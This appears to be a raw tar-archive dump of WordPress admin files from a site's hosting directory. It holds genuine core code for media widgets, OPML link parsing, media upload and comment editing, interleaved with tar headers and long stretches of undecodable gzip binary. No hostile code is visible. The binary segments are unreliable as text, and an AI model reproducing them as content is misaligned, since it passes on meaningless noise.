				'default': ''
			},
			attachment_id: {
				type: 'integer',
				'default': 0
			},
			url: {
				type: 'string',
				'default': ''
			}
		},

		/**
		 * Get default attribute values.
		 *
		 * @return {Object} Mapping of property names to their default values.
		 */
		defaults: function() {
			var defaults = {};
			_.each( this.schema, function( fieldSchema, field ) {
				defaults[ field ] = fieldSchema['default'];
			});
			return defaults;
		},

		/**
		 * Set attribute value(s).
		 *
		 * This is a wrapped version of Backbone.Model#set() which allows us to
		 * cast the attribute values from the hidden inputs' string values into
		 * the appropriate data types (integers or booleans).
		 *
		 * @param {string|Object} key - Attribute name or attribute pairs.
		 * @param {mixed|Object}  [val] - Attribute value or options object.
		 * @param {Object}        [options] - Options when attribute name and value are passed separately.
		 * @return {wp.mediaWidgets.MediaWidgetModel} This model.
		 */
		set: function set( key, val, options ) {
			var model = this, attrs, opts, castedAttrs; // eslint-disable-line consistent-this
			if ( null === key ) {
				return model;
			}
			if ( 'object' === typeof key ) {
				attrs = key;
				opts = val;
			} else {
				attrs = {};
				attrs[ key ] = val;
				opts = options;
			}

			castedAttrs = {};
			_.each( attrs, function( value, name ) {
				var type;
				if ( ! model.schema[ name ] ) {
					castedAttrs[ name ] = value;
					return;
				}
				type = model.schema[ name ].type;
				if ( 'array' === type ) {
					castedAttrs[ name ] = value;
					if ( ! _.isArray( castedAttrs[ name ] ) ) {
						castedAttrs[ name ] = castedAttrs[ name ].split( /,/ ); // Good enough for parsing an ID list.
					}
					if ( model.schema[ name ].items && 'integer' === model.schema[ name ].items.type ) {
						castedAttrs[ name ] = _.filter(
							_.map( castedAttrs[ name ], function( id ) {
								return parseInt( id, 10 );
							},
							function( id ) {
								return 'number' === typeof id;
							}
						) );
					}
				} else if ( 'integer' === type ) {
					castedAttrs[ name ] = parseInt( value, 10 );
				} else if ( 'boolean' === type ) {
					castedAttrs[ name ] = ! ( ! value || '0' === value || 'false' === value );
				} else {
					castedAttrs[ name ] = value;
				}
			});

			return Backbone.Model.prototype.set.call( this, castedAttrs, opts );
		},

		/**
		 * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment).
		 *
		 * @return {Object} Reset/override props.
		 */
		getEmbedResetProps: function getEmbedResetProps() {
			return {
				id: 0
			};
		}
	});

	/**
	 * Collection of all widget model instances.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Backbone.Collection}
	 */
	component.modelCollection = new ( Backbone.Collection.extend( {
		model: component.MediaWidgetModel
	}) )();

	/**
	 * Mapping of widget ID to instances of MediaWidgetControl subclasses.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var fieldContainer, syncContainer, widgetForm, idBase, ControlConstructor, ModelConstructor, modelAttributes, widgetControl, widgetModel, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.
		idBase = widgetForm.find( '> .id_base' ).val();
		widgetId = widgetForm.find( '> .widget-id' ).val();

		// Prevent initializing already-added widgets.
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		ControlConstructor = component.controlConstructors[ idBase ];
		if ( ! ControlConstructor ) {
			return;
		}

		ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel;

		/*
		 * Create a container element for the widget control (Backbone.View).
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		/*
		 * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
		 * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
		 * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
		 */
		modelAttributes = {};
		syncContainer.find( '.media-widget-instance-property' ).each( function() {
			var input = $( this );
			modelAttributes[ input.data( 'property' ) ] = input.val();
		});
		modelAttributes.widget_id = widgetId;

		widgetModel = new ModelConstructor( modelAttributes );

		widgetControl = new ControlConstructor({
			el: fieldContainer,
			syncContainer: syncContainer,
			model: widgetModel
		});

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the container's dimensions are fixed so that ME.js
		 * can initialize with the proper dimensions.
		 */
		renderWhenAnimationDone = function() {
			if ( ! widgetContainer.hasClass( 'open' ) ) {
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.render();
			}
		};
		renderWhenAnimationDone();

		/*
		 * Note that the model and control currently won't ever get garbage-collected
		 * when a widget gets removed/deleted because there is no widget-removed event.
		 */
		component.modelCollection.add( [ widgetModel ] );
		component.widgetControls[ widgetModel.get( 'widget_id' ) ] = widgetControl;
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, widgetId, idBase, widgetControl, ControlConstructor, ModelConstructor, modelAttributes, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();

		ControlConstructor = component.controlConstructors[ idBase ];
		if ( ! ControlConstructor ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-control-actions > .widget-id' ).val();

		ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel;
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		modelAttributes = {};
		syncContainer.find( '.media-widget-instance-property' ).each( function() {
			var input = $( this );
			modelAttributes[ input.data( 'property' ) ] = input.val();
		});
		modelAttributes.widget_id = widgetId;

		widgetControl = new ControlConstructor({
			el: fieldContainer,
			syncContainer: syncContainer,
			model: new ModelConstructor( modelAttributes )
		});

		component.modelCollection.add( [ widgetControl.model ] );
		component.widgetControls[ widgetControl.model.get( 'widget_id' ) ] = widgetControl;

		widgetControl.render();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetContent, widgetId, widgetControl, attributes = {};
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );
		widgetId = widgetForm.find( '> .widget-id' ).val();

		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		// Make sure the server-sanitized values get synced back into the model.
		widgetContent = widgetForm.find( '> .widget-content' );
		widgetContent.find( '.media-widget-instance-property' ).each( function() {
			var property = $( this ).data( 'property' );
			attributes[ property ] = $( this ).val();
		});

		// Suspend syncing model back to inputs when syncing from inputs to model, preventing infinite loop.
		widgetControl.stopListening( widgetControl.model, 'change', widgetControl.syncModelToInputs );
		widgetControl.model.set( attributes );
		widgetControl.listenTo( widgetControl.model, 'change', widgetControl.syncModelToInputs );
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.mediaWidgets.init().
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @return {void}
	 */
	component.init = function init() {
		var $document = $( document );
		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );
ms-delete-site.php.php.tar.gz000064400000003602150276633110012075 0ustar00��Xmo�F�W�Wl��[��4bInڸ���g���(��2&�,wU(���Y.�b�i����:�r�eg�yf��)Ը�N�R��V�Ik�Z����eu(�B����*WNZ�Ԩʪ/��s���ӧ��=99��k�s|�䫓�X?>y��kq�M��O��0�߰��Lΐ�h��q$�7M�4�W�\~�d���Ӗo*���%~2uz	�X^��<|��L��jt4:��q��F�*6��//�Ʊ���qF��F�^��x ����n�/��QoYũVC��`�m���"�4N�R�s�x����C�2i�Z�.n���D�P���~�ʕ��ՁX�F�Z�~��f�R�L���`��cǦ�V��؋8��e�
~��/���x0�n.cq!s�x�F��TN�
繹�3i��M6@+1�
��G��a-8m�����*��O���[�V�.݂�{���ղ��t����#���rKS�
�K�F��A��dy�1]�Z4�
D8ʵ<s��6��H��U�"+:�z�nJ�s�T�P
y��@��-�1J��p�pFj�R�>���P�?�G�ʺ˔�u�j���i�T;IG�̕����	�����@@B��a��(|f=�O�=�!�`x3�J���X��d�d?^]�y�c)��E{��?S�K�+�f��$�\h윊�3&��ζ��ŷW�/�_Q5v��3%SU!�dF&�~�x�[L��ZV�������j�M��9���'ݓ1}>ݭ��]�2��u5�3O��)W��6l�ѐ�r���Kv�����nB��L%�1�8��B�HBp��@9��Q)�����U�8e�P<9:h˘2�T)}��D=�:������‡���.���n#>˦�VM��.��y�87����ؙv��x�ފ��K�d֔xwu���o�Ļ����ϯ�~uq}�W�
_�� ��r���������;@�#e�e��J<|�0���A����U����+=��m�su�r�9d�
�=��##0LA;\&�ٍE�ł+�V��XJ��&�NՁ��f�������O4�E{�A�,OD��
��Z��&rnM�8E�T� �<�Ht�ŏ�ۻ�U�`�ꔙG�D�R�j��(�O
���]Ft�E�0�=�o�(��C�#��[.Z�H�����1�"�V��Qt��v2z�@A/N�B�j�x�GL�4��08|�s���~w��~�����
&|��e�n!�ٍ|J����1崝�ټ��Q�!������-�Me����;��Yֱ
t4�|EL�ڞ9b�۽DA̗�Z	������b�\H�2t8�����mU�in��c�Oв�]��
=>���g�2��n���K┭9�(ǹ
6'��b����/�쯢%�7��dyրm[�D�<�dm�Ĥjg #ާ�`@���3p�3�����Ptq��Ӧ���;�A~R�x�����Q�ۜ�qY*-�yi��x��Lw-������6����	�T��&�]���z��n���}$+��������a6G)�s<���V�@�0��?�v���%���R��OLQS�̶1 .U]�D�j2n���k�<a���8r��������X=���{�Q7��`KX���.޶< x�	\wN��Mn�;)��

>��+c]_��i�U�q2q}X�I�)�$c ?��w*q�{uY��UM�NSU��}�^�Mg���b̢8����hk��
�s�{P����|L
�$�H=a`w�,$?���Е�N)]��.@���Z����Z�aR_��FO-�B��ȥd!BoI��(�<����Q���P?\���q8KMA�	�E���.��]�|*�'c��|H�o��q�m��qO1���p$�t��!�ƸG�>�.�0�uw����>��|~>?����oH�j�link-parse-opml.php.tar000064400000011000150276633110011050 0ustar00home/natitnen/crestassured.com/wp-admin/link-parse-opml.php000064400000005202150274207730020045 0ustar00<?php
/**
 * Parse OPML XML files and store in globals.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined( 'ABSPATH' ) ) {
	die();
}

/**
 * @global string $opml
 */
global $opml;

/**
 * Starts a new XML tag.
 *
 * Callback function for xml_set_element_handler().
 *
 * @since 0.71
 * @access private
 *
 * @global array $names
 * @global array $urls
 * @global array $targets
 * @global array $descriptions
 * @global array $feeds
 *
 * @param resource $parser   XML Parser resource.
 * @param string   $tag_name XML element name.
 * @param array    $attrs    XML element attributes.
 */
function startElement( $parser, $tag_name, $attrs ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	global $names, $urls, $targets, $descriptions, $feeds;

	if ( 'OUTLINE' === $tag_name ) {
		$name = '';
		if ( isset( $attrs['TEXT'] ) ) {
			$name = $attrs['TEXT'];
		}
		if ( isset( $attrs['TITLE'] ) ) {
			$name = $attrs['TITLE'];
		}
		$url = '';
		if ( isset( $attrs['URL'] ) ) {
			$url = $attrs['URL'];
		}
		if ( isset( $attrs['HTMLURL'] ) ) {
			$url = $attrs['HTMLURL'];
		}

		// Save the data away.
		$names[]        = $name;
		$urls[]         = $url;
		$targets[]      = isset( $attrs['TARGET'] ) ? $attrs['TARGET'] : '';
		$feeds[]        = isset( $attrs['XMLURL'] ) ? $attrs['XMLURL'] : '';
		$descriptions[] = isset( $attrs['DESCRIPTION'] ) ? $attrs['DESCRIPTION'] : '';
	} // End if outline.
}

/**
 * Ends a new XML tag.
 *
 * Callback function for xml_set_element_handler().
 *
 * @since 0.71
 * @access private
 *
 * @param resource $parser   XML Parser resource.
 * @param string   $tag_name XML tag name.
 */
function endElement( $parser, $tag_name ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	// Nothing to do.
}

// Create an XML parser.
if ( ! function_exists( 'xml_parser_create' ) ) {
	trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
	wp_die( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
}

$xml_parser = xml_parser_create();

// Set the functions to handle opening and closing tags.
xml_set_element_handler( $xml_parser, 'startElement', 'endElement' );

if ( ! xml_parse( $xml_parser, $opml, true ) ) {
	printf(
		/* translators: 1: Error message, 2: Line number. */
		__( 'XML Error: %1$s at line %2$s' ),
		xml_error_string( xml_get_error_code( $xml_parser ) ),
		xml_get_current_line_number( $xml_parser )
	);
}

// Free up memory used by the XML parser.
xml_parser_free( $xml_parser );
unset( $xml_parser );
gallery.js.js.tar.gz000064400000003614150276633110010370 0ustar00��X[��D�5��KU;����R�R E�
�,��=I�uƮ=�%���3_'�	��J��3���*Y�dJ(��0�x�X���0Yo���B_��%�c�m��G��y��I�h4~���g�?�OG���gO�0zG9�hp�"�	Y��gxzڅS�*)TZ(h�7R���),�d�b($�C��>,��9��+����>�;�oS˥��Y�\�z�S�k>,
*�H�a��vnX��U�)6�IDsa&�B9�k��a�Yv�(�jSX�8�n��r���L-r�	���k	6��s��v��':z��H��ק�4f!_%q�3���+�<3��wA7�W${2���X�^1��2^��K��4WIz��z�3�/+.�I(҈)+�C�E���F|�I�*�"ɀ�p�q�y����
�Tr�el��z!1	�m�V��a@|}F�(�}�SVK2jLM����
@���1��a�!e<Z���t�,��i!���
�}�b�l�?�@�[B���~�v��_[���/mhecO���=��J�oK���:�Fi�www0�#����"�	&�}:o��\���y�?K�(.,Q�/�E�ƫ��eƃ4�7\�o���������=-����䯲� {����b�<�Ur��x_���:�J%2�<Ŕf�N%�%柣b��9��A"�j%��4��_J� ���,S~���9�^��o6����C�0�����6�~cN:`,���ڥ�JMC�X���à��h�%:�q�q;E��)
3����:�![����/B�[�te���r�a�?L�oR�,�6����x@�^Ȉ/���U�Ð���P�p��@�ߋ(�TNl��ƶ�N"^˻ڦp���J�0�%$�
j`	�`��vuh�0�l��V�(1��P1Y�1��R<�<��)<�R������(Y�W�_�VZ#��n�3�Z��WE&!J�������9�~��E�&W�uqjԞ��b����&��xC�PM<�?�Ug���Q�?b�G}�:h�W���9�4\����q�����>�{Ac��G��[rߖ�hp��t4�E,\Cqv����Kq�xL
���K7/�B]��zWHY__�J��yoɸ��„t�f��i���I�-��\�8�Ig1��K93�ҀvU`�2ucl`��%�lɳF��0)t�*R���	"�߂���:'ˋl�Mͩ9')�8U�[�2\�7�_-f�mU�<�X2v�T��sk�1'����b�����LiT�c�c�� ���r[�%$$.��S�)J������08�>���1�6����1>,�D:d����<��l�����)��ɦV���}���� ���4�J^�l�{�:�M�x�F;ڳ���L�J0��	:;���t^y�2��7s�������sO���q�`]���u��p�*P���p.pPRBQ�&M���SV�)sF�z�~Ю�
�����[��!X3���.M/��+�r4���G�CÉ�T'�ߖ�7����
�n%�^8N>���oڏ�����4�o�ӵL�7��%3�4r�/{����0�{�!�bEަ �ɩ8ߴ+ـtEY�}Vu�>h��Z^
NJ�N%7wX�}@���Sk�ӻt��_�aS3G�x��,����VF�*�6��l�%-��]Ę�L�d�F6#�ޤ<KW�r��5?5w�;B�
��
Vo�K� ��l���ܲ�V��J���u����Y��m��;�aT�Mܹ�`�aE�=���"911���>5���P66E��s�͋W������O��';B\�<!���A���W���{k���Z�s�k�˧Sk��Q���[NUZ٩0��{Ф�o������������4media-upload.min.js000064400000002200150276633110010223 0ustar00/*! This file is auto-generated */
window.send_to_editor=function(t){var e,i="undefined"!=typeof tinymce,n="undefined"!=typeof QTags;if(wpActiveEditor)i&&(e=tinymce.get(wpActiveEditor));else if(i&&tinymce.activeEditor)e=tinymce.activeEditor,window.wpActiveEditor=e.id;else if(!n)return!1;if(e&&!e.isHidden()?e.execCommand("mceInsertContent",!1,t):n?QTags.insertContent(t):document.getElementById(wpActiveEditor).value+=t,window.tb_remove)try{window.tb_remove()}catch(t){}},function(d){window.tb_position=function(){var t=d("#TB_window"),e=d(window).width(),i=d(window).height(),n=833<e?833:e,o=0;return d("#wpadminbar").length&&(o=parseInt(d("#wpadminbar").css("height"),10)),t.length&&(t.width(n-50).height(i-45-o),d("#TB_iframeContent").width(n-50).height(i-75-o),t.css({"margin-left":"-"+parseInt((n-50)/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&t.css({top:20+o+"px","margin-top":"0"}),d("a.thickbox").each(function(){var t=d(this).attr("href");t&&(t=(t=t.replace(/&width=[0-9]+/g,"")).replace(/&height=[0-9]+/g,""),d(this).attr("href",t+"&width="+(n-80)+"&height="+(i-85-o)))})},d(window).on("resize",function(){tb_position()})}(jQuery);edit-comments.js.tar000064400000115000150276633110010440 0ustar00home/natitnen/crestassured.com/wp-admin/js/edit-comments.js000064400000111232150262425660020046 0ustar00/**
 * Handles updating and editing comments.
 *
 * @file This file contains functionality for the admin comments page.
 * @since 2.1.0
 * @output wp-admin/js/edit-comments.js
 */

/* global adminCommentsSettings, thousandsSeparator, list_args, QTags, ajaxurl, wpAjax */
/* global commentReply, theExtraList, theList, setCommentsList */

(function($) {
var getCount, updateCount, updateCountText, updatePending, updateApproved,
	updateHtmlTitle, updateDashboardText, updateInModerationText, adminTitle = document.title,
	isDashboard = $('#dashboard_right_now').length,
	titleDiv, titleRegEx,
	__ = wp.i18n.__;

	/**
	 * Extracts a number from the content of a jQuery element.
	 *
	 * @since 2.9.0
	 * @access private
	 *
	 * @param {jQuery} el jQuery element.
	 *
	 * @return {number} The number found in the given element.
	 */
	getCount = function(el) {
		var n = parseInt( el.html().replace(/[^0-9]+/g, ''), 10 );
		if ( isNaN(n) ) {
			return 0;
		}
		return n;
	};

	/**
	 * Updates an html element with a localized number string.
	 *
	 * @since 2.9.0
	 * @access private
	 *
	 * @param {jQuery} el The jQuery element to update.
	 * @param {number} n Number to be put in the element.
	 *
	 * @return {void}
	 */
	updateCount = function(el, n) {
		var n1 = '';
		if ( isNaN(n) ) {
			return;
		}
		n = n < 1 ? '0' : n.toString();
		if ( n.length > 3 ) {
			while ( n.length > 3 ) {
				n1 = thousandsSeparator + n.substr(n.length - 3) + n1;
				n = n.substr(0, n.length - 3);
			}
			n = n + n1;
		}
		el.html(n);
	};

	/**
	 * Updates the number of approved comments on a specific post and the filter bar.
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {number} diff The amount to lower or raise the approved count with.
	 * @param {number} commentPostId The ID of the post to be updated.
	 *
	 * @return {void}
	 */
	updateApproved = function( diff, commentPostId ) {
		var postSelector = '.post-com-count-' + commentPostId,
			noClass = 'comment-count-no-comments',
			approvedClass = 'comment-count-approved',
			approved,
			noComments;

		updateCountText( 'span.approved-count', diff );

		if ( ! commentPostId ) {
			return;
		}

		// Cache selectors to not get duplicates.
		approved = $( 'span.' + approvedClass, postSelector );
		noComments = $( 'span.' + noClass, postSelector );

		approved.each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 )
				n = 0;

			if ( 0 === n ) {
				a.removeClass( approvedClass ).addClass( noClass );
			} else {
				a.addClass( approvedClass ).removeClass( noClass );
			}
			updateCount( a, n );
		});

		noComments.each(function() {
			var a = $(this);
			if ( diff > 0 ) {
				a.removeClass( noClass ).addClass( approvedClass );
			} else {
				a.addClass( noClass ).removeClass( approvedClass );
			}
			updateCount( a, diff );
		});
	};

	/**
	 * Updates a number count in all matched HTML elements
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {string} selector The jQuery selector for elements to update a count
	 *                          for.
	 * @param {number} diff The amount to lower or raise the count with.
	 *
	 * @return {void}
	 */
	updateCountText = function( selector, diff ) {
		$( selector ).each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 ) {
				n = 0;
			}
			updateCount( a, n );
		});
	};

	/**
	 * Updates a text about comment count on the dashboard.
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {Object} response Ajax response from the server that includes a
	 *                          translated "comment count" message.
	 *
	 * @return {void}
	 */
	updateDashboardText = function( response ) {
		if ( ! isDashboard || ! response || ! response.i18n_comments_text ) {
			return;
		}

		$( '.comment-count a', '#dashboard_right_now' ).text( response.i18n_comments_text );
	};

	/**
	 * Updates the "comments in moderation" text across the UI.
	 *
	 * @since 5.2.0
	 *
	 * @param {Object} response Ajax response from the server that includes a
	 *                          translated "comments in moderation" message.
	 *
	 * @return {void}
	 */
	updateInModerationText = function( response ) {
		if ( ! response || ! response.i18n_moderation_text ) {
			return;
		}

		// Update the "comment in moderation" text across the UI.
		$( '.comments-in-moderation-text' ).text( response.i18n_moderation_text );
		// Hide the "comment in moderation" text in the Dashboard "At a Glance" widget.
		if ( isDashboard && response.in_moderation ) {
			$( '.comment-mod-count', '#dashboard_right_now' )
				[ response.in_moderation > 0 ? 'removeClass' : 'addClass' ]( 'hidden' );
		}
	};

	/**
	 * Updates the title of the document with the number comments to be approved.
	 *
	 * @since 4.4.0
	 * @access private
	 *
	 * @param {number} diff The amount to lower or raise the number of to be
	 *                      approved comments with.
	 *
	 * @return {void}
	 */
	updateHtmlTitle = function( diff ) {
		var newTitle, regExMatch, titleCount, commentFrag;

		/* translators: %s: Comments count. */
		titleRegEx = titleRegEx || new RegExp( __( 'Comments (%s)' ).replace( '%s', '\\([0-9' + thousandsSeparator + ']+\\)' ) + '?' );
		// Count funcs operate on a $'d element.
		titleDiv = titleDiv || $( '<div />' );
		newTitle = adminTitle;

		commentFrag = titleRegEx.exec( document.title );
		if ( commentFrag ) {
			commentFrag = commentFrag[0];
			titleDiv.html( commentFrag );
			titleCount = getCount( titleDiv ) + diff;
		} else {
			titleDiv.html( 0 );
			titleCount = diff;
		}

		if ( titleCount >= 1 ) {
			updateCount( titleDiv, titleCount );
			regExMatch = titleRegEx.exec( document.title );
			if ( regExMatch ) {
				/* translators: %s: Comments count. */
				newTitle = document.title.replace( regExMatch[0], __( 'Comments (%s)' ).replace( '%s', titleDiv.text() ) + ' ' );
			}
		} else {
			regExMatch = titleRegEx.exec( newTitle );
			if ( regExMatch ) {
				newTitle = newTitle.replace( regExMatch[0], __( 'Comments' ) );
			}
		}
		document.title = newTitle;
	};

	/**
	 * Updates the number of pending comments on a specific post and the filter bar.
	 *
	 * @since 3.2.0
	 * @access private
	 *
	 * @param {number} diff The amount to lower or raise the pending count with.
	 * @param {number} commentPostId The ID of the post to be updated.
	 *
	 * @return {void}
	 */
	updatePending = function( diff, commentPostId ) {
		var postSelector = '.post-com-count-' + commentPostId,
			noClass = 'comment-count-no-pending',
			noParentClass = 'post-com-count-no-pending',
			pendingClass = 'comment-count-pending',
			pending,
			noPending;

		if ( ! isDashboard ) {
			updateHtmlTitle( diff );
		}

		$( 'span.pending-count' ).each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 )
				n = 0;
			a.closest('.awaiting-mod')[ 0 === n ? 'addClass' : 'removeClass' ]('count-0');
			updateCount( a, n );
		});

		if ( ! commentPostId ) {
			return;
		}

		// Cache selectors to not get dupes.
		pending = $( 'span.' + pendingClass, postSelector );
		noPending = $( 'span.' + noClass, postSelector );

		pending.each(function() {
			var a = $(this), n = getCount(a) + diff;
			if ( n < 1 )
				n = 0;

			if ( 0 === n ) {
				a.parent().addClass( noParentClass );
				a.removeClass( pendingClass ).addClass( noClass );
			} else {
				a.parent().removeClass( noParentClass );
				a.addClass( pendingClass ).removeClass( noClass );
			}
			updateCount( a, n );
		});

		noPending.each(function() {
			var a = $(this);
			if ( diff > 0 ) {
				a.parent().removeClass( noParentClass );
				a.removeClass( noClass ).addClass( pendingClass );
			} else {
				a.parent().addClass( noParentClass );
				a.addClass( noClass ).removeClass( pendingClass );
			}
			updateCount( a, diff );
		});
	};

/**
 * Initializes the comments list.
 *
 * @since 4.4.0
 *
 * @global
 *
 * @return {void}
 */
window.setCommentsList = function() {
	var totalInput, perPageInput, pageInput, dimAfter, delBefore, updateTotalCount, delAfter, refillTheExtraList, diff,
		lastConfidentTime = 0;

	totalInput = $('input[name="_total"]', '#comments-form');
	perPageInput = $('input[name="_per_page"]', '#comments-form');
	pageInput = $('input[name="_page"]', '#comments-form');

	/**
	 * Updates the total with the latest count.
	 *
	 * The time parameter makes sure that we only update the total if this value is
	 * a newer value than we previously received.
	 *
	 * The time and setConfidentTime parameters make sure that we only update the
	 * total when necessary. So a value that has been generated earlier will not
	 * update the total.
	 *
	 * @since 2.8.0
	 * @access private
	 *
	 * @param {number} total Total number of comments.
	 * @param {number} time Unix timestamp of response.
 	 * @param {boolean} setConfidentTime Whether to update the last confident time
	 *                                   with the given time.
	 *
	 * @return {void}
	 */
	updateTotalCount = function( total, time, setConfidentTime ) {
		if ( time < lastConfidentTime )
			return;

		if ( setConfidentTime )
			lastConfidentTime = time;

		totalInput.val( total.toString() );
	};

	/**
	 * Changes DOM that need to be changed after a list item has been dimmed.
	 *
	 * @since 2.5.0
	 * @access private
	 *
	 * @param {Object} r Ajax response object.
	 * @param {Object} settings Settings for the wpList object.
	 *
	 * @return {void}
	 */
	dimAfter = function( r, settings ) {
		var editRow, replyID, replyButton, response,
			c = $( '#' + settings.element );

		if ( true !== settings.parsed ) {
			response = settings.parsed.responses[0];
		}

		editRow = $('#replyrow');
		replyID = $('#comment_ID', editRow).val();
		replyButton = $('#replybtn', editRow);

		if ( c.is('.unapproved') ) {
			if ( settings.data.id == replyID )
				replyButton.text( __( 'Approve and Reply' ) );

			c.find( '.row-actions span.view' ).addClass( 'hidden' ).end()
				.find( 'div.comment_status' ).html( '0' );

		} else {
			if ( settings.data.id == replyID )
				replyButton.text( __( 'Reply' ) );

			c.find( '.row-actions span.view' ).removeClass( 'hidden' ).end()
				.find( 'div.comment_status' ).html( '1' );
		}

		diff = $('#' + settings.element).is('.' + settings.dimClass) ? 1 : -1;
		if ( response ) {
			updateDashboardText( response.supplemental );
			updateInModerationText( response.supplemental );
			updatePending( diff, response.supplemental.postId );
			updateApproved( -1 * diff, response.supplemental.postId );
		} else {
			updatePending( diff );
			updateApproved( -1 * diff  );
		}
	};

	/**
	 * Handles marking a comment as spam or trashing the comment.
	 *
	 * Is executed in the list delBefore hook.
	 *
	 * @since 2.8.0
	 * @access private
	 *
	 * @param {Object} settings Settings for the wpList object.
	 * @param {HTMLElement} list Comments table element.
	 *
	 * @return {Object} The settings object.
	 */
	delBefore = function( settings, list ) {
		var note, id, el, n, h, a, author,
			action = false,
			wpListsData = $( settings.target ).attr( 'data-wp-lists' );

		settings.data._total = totalInput.val() || 0;
		settings.data._per_page = perPageInput.val() || 0;
		settings.data._page = pageInput.val() || 0;
		settings.data._url = document.location.href;
		settings.data.comment_status = $('input[name="comment_status"]', '#comments-form').val();

		if ( wpListsData.indexOf(':trash=1') != -1 )
			action = 'trash';
		else if ( wpListsData.indexOf(':spam=1') != -1 )
			action = 'spam';

		if ( action ) {
			id = wpListsData.replace(/.*?comment-([0-9]+).*/, '$1');
			el = $('#comment-' + id);
			note = $('#' + action + '-undo-holder').html();

			el.find('.check-column :checkbox').prop('checked', false); // Uncheck the row so as not to be affected by Bulk Edits.

			if ( el.siblings('#replyrow').length && commentReply.cid == id )
				commentReply.close();

			if ( el.is('tr') ) {
				n = el.children(':visible').length;
				author = $('.author strong', el).text();
				h = $('<tr id="undo-' + id + '" class="undo un' + action + '" style="display:none;"><td colspan="' + n + '">' + note + '</td></tr>');
			} else {
				author = $('.comment-author', el).text();
